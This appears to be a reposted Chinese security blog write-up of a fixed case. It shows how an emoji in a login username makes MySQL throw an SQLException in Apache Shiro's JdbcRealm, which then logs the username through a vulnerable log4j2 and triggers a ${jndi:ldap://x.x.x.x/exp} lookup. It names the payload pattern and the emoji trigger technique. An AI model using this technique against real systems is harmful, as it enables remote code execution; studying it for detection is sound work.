emoji、shiro与log4j2漏洞

admin 2022年4月15日10:41:24emoji、shiro与log4j2漏洞已关闭评论67 views字数 6085阅读20分17秒阅读模式

引言

  小黄脸emoji几乎每天在聊天的时候都会使用到,在某些waf bypass也会看到它的身影。

emoji、shiro与log4j2漏洞

  shiro、log4j2这两个组件应该都不陌生了,在高版本shiro没办法通过shiro-550进行序列化漏洞利用的情况下,还有没有可能找到突破口呢?与此同时,emoji还能在漏洞检测中产生什么样的化学反应呢?

emoji、shiro与log4j2漏洞

  在实际业务中发现一个结合log4j2利用的案例(当前漏洞已经修复完毕 )。提取关键的的漏洞代码做下复盘。

具体案例

  系统通过shiro进行认证&鉴权。在MySQL中存储对应的用户信息。提到shiro,第一反应是想到的肯定是这些安全问题

  • shiro-550的反序列化漏洞
  • 权限绕过(CVE-2020-1957、CVE-2020-11989、CVE-2020-13933、cve-2020-17523...... )

  但是比较可惜的是。系统的shiro版本为1.8.0,目前来看不存在上述的安全问题

  还有一个可能存在的缺陷是使用不当导致的session操纵问题,具体文章可参考https://xz.aliyun.com/t/5287。那么看看系统具体的登陆认证是如何实现的。

  在shiro中,Realm是相关的安全数据源,通过自定义一个Realm类,继承AuthorizingRealm抽象类,重写获取用户信息以及权限校验的方法来实现认证授权操作,主要是如下方法:

  • doGetAuthentication(用户身份认证信息)
  • doGetAuthorizationInfo(用于权限校验信息)

  从config相关的bean可以发现,系统是通过shiro内置的JdbcRealm的方式访问数据库,通过与数据库的连接,来完成相应的登录用户与授权,这里JdbcRealm已经替我们封装好了,所以直接调用就可以了:

```java
public class ShiroConfig {
@Bean
public JdbcRealm getJdbcRealm(DataSource dataSource){
JdbcRealm jdbcRealm=new JdbcRealm();
jdbcRealm.setDataSource(dataSource);
jdbcRealm.setPermissionsLookupEnabled(true);
return jdbcRealm;
}

@Bean
public DefaultWebSecurityManager getDefaultWebSecurityManager(JdbcRealm jdbcRealm){
    DefaultWebSecurityManager defaultSecurityManager=new DefaultWebSecurityManager();
    defaultSecurityManager.setRealm(jdbcRealm);
    return defaultSecurityManager;
}

.....
//鉴权路由配置

}
```

  具体的认证方法:

java
public void checkLogin(String username,String password) throws Exception{
Subject subject= SecurityUtils.getSubject();
UsernamePasswordToken token=new UsernamePasswordToken(username,password);
subject.login(token);
}

  看看JdbcRealm的具体实现,找找有什么可以突破的地方。

emoji、shiro与log4j2漏洞

JdbcRealm具体实现

  查看org.apache.shiro.realm.jdbc.JdbcRealm,其已经将数据库的读取封装好了,以获取认证信息的doGetAuthenticationInfo方法为例:

```java
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {

    UsernamePasswordToken upToken = (UsernamePasswordToken) token;
    String username = upToken.getUsername();

    // Null username is invalid
    if (username == null) {
        throw new AccountException("Null usernames are not allowed by this realm.");
    }

    Connection conn = null;
    SimpleAuthenticationInfo info = null;
    try {
        conn = dataSource.getConnection();

        String password = null;
        String salt = null;
        switch (saltStyle) {
        case NO_SALT:
            password = getPasswordForUser(conn, username)[0];
            break;
        case CRYPT:
            // TODO: separate password and hash from getPasswordForUser[0]
            throw new ConfigurationException("Not implemented yet");
            //break;
        case COLUMN:
            String[] queryResults = getPasswordForUser(conn, username);
            password = queryResults[0];
            salt = queryResults[1];
            break;
        case EXTERNAL:
            password = getPasswordForUser(conn, username)[0];
            salt = getSaltForUser(username);
        }

        if (password == null) {
            throw new UnknownAccountException("No account found for user [" + username + "]");
        }

        info = new SimpleAuthenticationInfo(username, password.toCharArray(), getName());

        if (salt != null) {
            if (saltStyle == SaltStyle.COLUMN && saltIsBase64Encoded) {
                info.setCredentialsSalt(ByteSource.Util.bytes(Base64.decode(salt)));
            } else {
                info.setCredentialsSalt(ByteSource.Util.bytes(salt));
            }
        }

    } catch (SQLException e) {
        final String message = "There was a SQL error while authenticating user [" + username + "]";
        if (log.isErrorEnabled()) {
            log.error(message, e);
        }

        // Rethrow any SQL errors as an authentication exception
        throw new AuthenticationException(message, e);
    } finally {
        JdbcUtils.closeConnection(conn);
    }

    return info;
}

```

  这里主要是获取前端登录传递过来的用户名,然后调用password = getPasswordForUser(conn, username)[0];方法从数据库获取密码:

```java
private String[] getPasswordForUser(Connection conn, String username) throws SQLException {

    String[] result;
    boolean returningSeparatedSalt = false;
    switch (saltStyle) {
    case NO_SALT:
    case CRYPT:
    case EXTERNAL:
        result = new String[1];
        break;
    default:
        result = new String[2];
        returningSeparatedSalt = true;
    }

    PreparedStatement ps = null;
    ResultSet rs = null;
    try {
        ps = conn.prepareStatement(authenticationQuery);
        ps.setString(1, username);

        // Execute query
        rs = ps.executeQuery();

        // Loop over results - although we are only expecting one result, since usernames should be unique
        boolean foundResult = false;
        while (rs.next()) {

            // Check to ensure only one row is processed
            if (foundResult) {
                throw new AuthenticationException("More than one user row found for user [" + username + "]. Usernames must be unique.");
            }

            result[0] = rs.getString(1);
            if (returningSeparatedSalt) {
                result[1] = rs.getString(2);
            }

            foundResult = true;
        }
    } finally {
        JdbcUtils.closeResultSet(rs);
        JdbcUtils.closeStatement(ps);
    }

    return result;
}

```

  可以看到本质上是调用原生的PreparedStatement来获取帐号对应的密码然后封装到SimpleAuthenticationInfo返回

```java
ps = conn.prepareStatement(authenticationQuery);
ps.setString(1, username);

// Execute query
rs = ps.executeQuery();
```

  执行的SQL从authenticationQuery变量获取,这里shiro提供了一个默认的SQL语句,当然也可以通过set方法用户自定义:

```java
protected String authenticationQuery = DEFAULT_AUTHENTICATION_QUERY;
/*
* The default query used to retrieve account data for the user.
/
protected static final String DEFAULT_AUTHENTICATION_QUERY = "select password from users where username = ?";

public void setAuthenticationQuery(String authenticationQuery) {
this.authenticationQuery = authenticationQuery;
}
```

  可以看到SQL语句是通过占位符修饰,规避了SQL注入的问题。看到这里貌似没有什么可以突破的地方。不过在getPasswordForUser方法中,当SQL查询异常时会通过log打印当前登陆用户名信息:

java
catch (SQLException e) {
final String message = "There was a SQL error while authenticating user [" + username + "]";
if (log.isErrorEnabled()) {
log.error(message, e);
}

  既然是log,自然而言想到了log4j2漏洞,看看shiro的日志是怎么实现的。能不能借助log4j2找到突破口。

shiro的日志实现

  shiro依赖的是SLF4J框架。SLF4J是一个日志标准,并不是日志系统的具体实现。主要功能是:

  • 提供日志接口
  • 提供获取具体日志对象的方法

emoji、shiro与log4j2漏洞

  简单的说,如果系统引入了log4j2相关的依赖,那么便会使用log4j2来进行shiro的日志处理。

如何抛出SQLException异常

  幸运的是,系统使用log4j进行日志处理,同时相关的组件log4j-core在漏洞影响的范围内。

emoji、shiro与log4j2漏洞

  回到之前的分析,在JdbcRealm的getPasswordForUser方法中,当SQL查询异常时会通过log打印当前登陆用户名信息:

Java
catch (SQLException e) {
final String message = There was a SQL error while authenticating user [ + username + ] ;
if (log.isErrorEnabled()) {
log.error(message, e);
}

  也就是说,如果在执行如下SQL时产生SQLException,并且用户名username携带了${jndi:ldap://x.x.x.x/exp}的话,即可完成log4j2漏洞的利用:

Java
protected static final String DEFAULT_AUTHENTICATION_QUERY = select password from users where username = ? ;

  提到SQLException,最容易想到的就是数据库连接异常、报错注入。数据库连接不是用户可以控制的,至于报错注入,因为这里是用了预编译处理,很明显updatexml类的函数也没办法使用。

  因为这里是普通的查询,尝试fuzz看看有什么思路:

  发现当查询内容中包含emoji的时候,MySQL数据库会触发ERROR:

emoji、shiro与log4j2漏洞

  查阅了一下相关资料,主要是编码不统一的问题:

  结合上面简单的分析尝试,直接在登录框使用emoji表情+poc进行登录:

emoji、shiro与log4j2漏洞

  这里结合dnslog进行简单的验证,可以看到成功记录,验证成功:

emoji、shiro与log4j2漏洞

其他

  结合上述的案例,其实通过日志记录SqlException的情况还是蛮多的。除了特定场景下MySQL中利用emoji编码差异触发外,还可以结合具体情况来改进常规的log4j2检测poc,覆盖db2、Oracle等更多的场景,增加漏洞的检出率。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月15日10:41:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   emoji、shiro与log4j2漏洞https://cn-sec.com/archives/913076.html